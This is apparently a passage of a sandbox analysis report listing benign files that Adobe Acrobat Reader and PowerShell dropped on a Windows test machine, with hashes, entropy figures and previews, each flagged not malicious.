SHA1:	3F9A6B83A816AB5BED029704F19B9A6AD57C23E3
SHA-256:	6F471D820DB19AE99ED5B91903FB33310115C92F0A0831E87F6B6E9BA0098234
SHA-512:	60E451E77BBB92C775D17BCD16EA090DC7EDA0E3C292C38506054E07E852F27EC18AF208E83632C5CD8FF501F835D5FC3DCFA06AFEE61A1E914233284ABCC0E2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"991ee010-f5e6-44e1-b693-0766cf0473ec","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736718857553,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.250751496952188
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjV+WtRF+FIbRI6XVW7+0YdtoAvJf21rPeUkwRe9:YvXKX0WtRoYpW7FG+16Ukee9
MD5:	95CBD01D2C1D40433556B632ED6FF72D
SHA1:	22FE3A8548008018B11BCF57793A1178990C1521
SHA-256:	1EB3A3C09CDB50C0BDE1ECDBBD207C51648B41B848F843AE4CDC9453AFF2140B
SHA-512:	0D105F5B877925D306499FC15A7A7BF93FBACD50D2E0114E026DD8E20E370A812D66538C6103986640673E44F85FC241E1E3BDA5324E06A0D63E4D095436A8D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"991ee010-f5e6-44e1-b693-0766cf0473ec","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736718857553,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6616272696569
Encrypted:	false
SSDEEP:	24:Yv6X0iRRiWamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSU:Yv3yIYBgkDMUJUAh8cvMU
MD5:	FCA1DE1E0BE14C268A65BBE16FF28EDD
SHA1:	0A7F913CC02105C41C60E27727A919D9672FA0C7
SHA-256:	8BB8A4B03866B40871FF758B8CA2C36715A6A02613EBF39FB7153F7BA5F9FF62
SHA-512:	F44FE636AB7AE87EDCE546E9EEA296A77D5F2A15D3B50C2811E8C1A88900D9368AE2C75D5841D272F675AE18B10835273EA2D8EB1F387E3288CA4E915EAB700E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"991ee010-f5e6-44e1-b693-0766cf0473ec","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736718857553,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.228986834034383
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjV+WtRF+FIbRI6XVW7+0YdtoAvJfshHHrPeUkwRe9:YvXKX0WtRoYpW7FGUUUkee9
MD5:	7869E32C428B773B6CDD7DB51C3494E2
SHA1:	FE2C0891FEAE94BA192C1FE7143259ABE470D176
SHA-256:	8FAAD7B78781459A1CB22FD70B34C4DAAF0B6DED2E4979221E4898C37B05403B
SHA-512:	3B3806AB1E865D0BB2AB13B820ACB11384992A09EFC5DE24A7DDE6CDF9B0F7427332E20C00B9F1E707D5AF03D7A00FC784309D61BA678A9FF8D5A659E6319EEC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"991ee010-f5e6-44e1-b693-0766cf0473ec","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736718857553,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2433068134818255
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjV+WtRF+FIbRI6XVW7+0YdtoAvJTqgFCrPeUkwRe9:YvXKX0WtRoYpW7FGTq16Ukee9
MD5:	AF7D6C4EF5DF656DB09F979F2091002B
SHA1:	AF92080FC52C87DAABD8B03D351332B87023311E
SHA-256:	00FB8BECFDE68EA9A52BFADF6AE9414A8C5C8836A4869326F749A01E3A2AE8AE
SHA-512:	A13A9953A9F0BFB4975D30FEBEB5C4B09590B7AAFE868A734564951AC1B82FF611A5B8EF4CA406F5DBC3B9336520F938B0EE57F8B5CB9B9515DF9979658FD2FF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"991ee010-f5e6-44e1-b693-0766cf0473ec","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736718857553,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.134509209607968
Encrypted:	false
SSDEEP:	24:YoIAmTxnatCayUD8Jdq8q2XntFIpMxBX4xTMdA4QcjfFj0SaS3V/2kq2LSaMCdZ9:YoIAmS8S2XntFeNMuwRfRqBiW5E99SXW
MD5:	B081E388669CFAB38CE7CB4A131093B4
SHA1:	7EB2EEE78909C153BC8F3699431EAAAAC33EAE02
SHA-256:	4B7FF6D0F8E0BEFC8F44BA44C3C6938EFD2E3523D58B4118932988385D8400D6
SHA-512:	903D5AC0FDB90DF7091C8BC694A2812733EA6AB6108F3A7D603D2CFEFC4501A6D4E1B3D1D41406BA24E6BD7DE5537535A6D88044624553EE4D5F90A9FB8F34C9
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"7320096fb09e3d95215f100468576439","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736545876000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"52cfe8efccfa01cc2b2b70baf9adce8a","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736545876000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"ed2a834066a4379903eecf97f2a5f50e","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736545876000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"36112e776ea233cead6fbe5ebd739aac","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736545876000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"00a3811c56ce56874d7d2f9116286e41","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736545876000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"6f9d7603521fafb291085f81f456cb88","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9866281659349024
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpxI4zJwtNBwtNbRZ6bRZ4QIF:TVl2GL7ms6ggOVpxLzutYtp6PX0
MD5:	4EC80336572E3BEB8BC849047AF73849
SHA1:	1B42EBCA0636F4A7EE4075D97091F31183F0DA54
SHA-256:	2561036B3E00F544A3AF27FF5DF1EB8D1C04C57D00899FFF024FD2609D6D854A
SHA-512:	1D5226AD0E973CD7472B9707191116C40DFDACA1BA4D002F2290D80FFDA0291487B2337E25267DAC414B8CD3F15CC2D1F44748661D20B9EE8F2AFE4F68A8676D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3387550047586092
Encrypted:	false
SSDEEP:	24:7+tJpmAD1RZKHs/Ds/SpxIPzJwtNBwtNbRZ6bRZWf1RZKiqLBx/XYKQvGJF7ursj:7MyGgOVpx0zutYtp6PMzqll2GL7msj
MD5:	EAA0CE25005350E0371C250F09CCC49C
SHA1:	F1F75CF46A1A9CE7396AA5B9755D93DEC6EEAE31
SHA-256:	6652212CACC079E8D17E8F1BE0EFFB043009156FA37A27AED47CEDD44BAB3A45
SHA-512:	FD90E6A2727541671829EDAAF9A048EC3578B2A08932C240EB1B08D5C927C3D020AFE80D497D77CF61909BDBBDDDD3BB367F877D254D87BBDDEFEE1EF08AB99B
Malicious:	false
Preview:	.... .c.......I.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgyoyaA2uEDuXugTPqBi/otWWYyu:6a6TZ44ADEyopluEDiugFWK
MD5:	E37121E512C30392A2F9702F3B430FD0
SHA1:	F7CF3BA10E6B458CA72778D5E781BD2AA6187D66
SHA-256:	297392A1024E178CD2388B8426FED70500C12B197EE2B74F35478FE736D5F27A
SHA-512:	36B3FB259CBF5EB19CD8F3013052B60FE6555BC89DA27189D03902B3E0437DAD44E78AD6B29FFECE167B28F8B9C56E5453A65B08969921C8FB884B2E90BDF096
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulNg7/l/lZ:NllUy7/
MD5:	C2537D289A7DB67172EF4C08F96CB120
SHA1:	95114E0682CC761B86321F0DCC5CBE9A3E89DB21
SHA-256:	26D1A27AED70765338B4BCFEDC7C23289CFDA9A984B1A55799FB89CFAE10C3C9
SHA-512:	B991F49ECB907FA7CFCF6121BA004C1C5156A86F508E22B76FD1E53B21B7D6C4831EFF8EBCFB2CC9CB97E44DD578B276B734CB1D3CE96355E51C4578FB227603
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI7a8cd.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.504899586627176
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErNaj:Qw946cPbiOxDlbYnuRK+bDrNaj
MD5:	FB01CB66314E68EE2948C905DDE2D4AA
SHA1:	365C4EEABCFB401E94849511B9AB3AFDB0FECF14
SHA-256:	933CA5E82C82017F7286AEE8C43DBF3034E0A46DCB4B6B151B53391385E10CDC
SHA-512:	F3BEA3DBB397DD14D347856C3E81267BBF427788529BB8BD42B040B77E6DD8C01E9F686B6CC90EC40254872E53D2787F6F5475CB41FAFDDC2F800D6D110012B3
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.5.1.:.1.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bikqgypf.mbq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kaarorhf.14i.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-51-04-381.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3831812852319425
Encrypted:	false
SSDEEP:	384:o2Sn6Ojy7PUNI2V+ViYfkm7G+hqCrd96OBAysECZsgTZH/KfPIbQdKdU1VLF5aSW:zJu
MD5:	C88EB085DA3E056D37098907DE42A1AA
SHA1:	88C7C2C21B8B188A87BF22F2DDC97361CAE1A9F0
SHA-256:	80EDE6EF0F18E92299D2D00A94832645F624B75D65F8668525354FE0BC5F8FD9
SHA-512:	7D9AB0D83A30C18E5DD07E076D1156E37A4707BD561262990DC15F7829CCE2AA35EDCEBF1A45DB3591553C103CA52A1BD8DD0FA234552E9D111EEC79297C04EB
Malicious:	false
Preview:	SessionID=cfa9e830-fcf7-42b9-8103-4778fc6b3ec7.1736545864394 Timestamp=2025-01-10T16:51:04:394-0500 ThreadID=7596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=cfa9e830-fcf7-42b9-8103-4778fc6b3ec7.1736545864394 Timestamp=2025-01-10T16:51:04:396-0500 ThreadID=7596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=cfa9e830-fcf7-42b9-8103-4778fc6b3ec7.1736545864394 Timestamp=2025-01-10T16:51:04:396-0500 ThreadID=7596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=cfa9e830-fcf7-42b9-8103-4778fc6b3ec7.1736545864394 Timestamp=2025-01-10T16:51:04:396-0500 ThreadID=7596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=cfa9e830-fcf7-42b9-8103-4778fc6b3ec7.1736545864394 Timestamp=2025-01-10T16:51:04:396-0500 ThreadID=7596 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.389908298983752
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbK:V8
MD5:	6175A48571E2A45ADCC217A71B560E8E
SHA1:	28329AD40FA85AB30BAF0FA369A49E3BA791D57F
SHA-256:	C3E6FE96181F93EAA28BD2661CC7340DFC93EDBE59A94510CBFF654FCCC573F0
SHA-512:	F6192980E97C252D402C13133AA06A07CD91C9DE9A149727D4DEB0CC4315FF6D604FCDA7F2AC064D5B0D9FE8E2AA58724D488744ECA50981114A4B59F422BDC8
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3c70cf84-e08a-4b6a-9097-637b6eadcd5b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\717015d7-af7c-4ee4-93e3-192e78400841.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3PhTJJJJv+9UZP5+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEas:O3PJJJJJm94kegf121YS8lkipdjMMNBn
MD5:	0FD93E20C1612CF7CCA0771CD40D762F
SHA1:	696E5156CF167B4CF06FF0D5DF3B5D46FABDBD77
SHA-256:	9CA209D9F3FEF3163FA292A2523DFFB0CE40E2E1067F4E4502A3B9DC8263B56A
SHA-512:	4CD9E26DE55F15209FD93F553965596986144C4B9A5301FFA8A067492DDB2E19DB2CE1B35F33BED0883705972151F058E6AAD5A143AD1BC0735D94B056BA6B58
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\80e23e82-ae25-4914-9949-dfb020c384fb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:ZW7ouWLaGZjZwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:FuWLaGZjZwZGk3mlind9i4ufFXpAXkru
MD5:	A1FBE115FA58C2D959408314314B7BC7
SHA1:	E8EB36F3C612178F1CCD8274D89BA5A784E5235A
SHA-256:	BB2A27228EC4E922F904C23B6C1A6F41A858DD2DA7BABEBFE5D0693695AF2171
SHA-512:	343BB8D1C7BDDDAB8DAE1A4C37E612EAE6567952F7971029A7CEA272CAF2AD6CEFB80B8A00CD9F6D2389BB7734ADFE009B68F9B9329B66E96EFEC48F5B0DE742
Malicious:	false
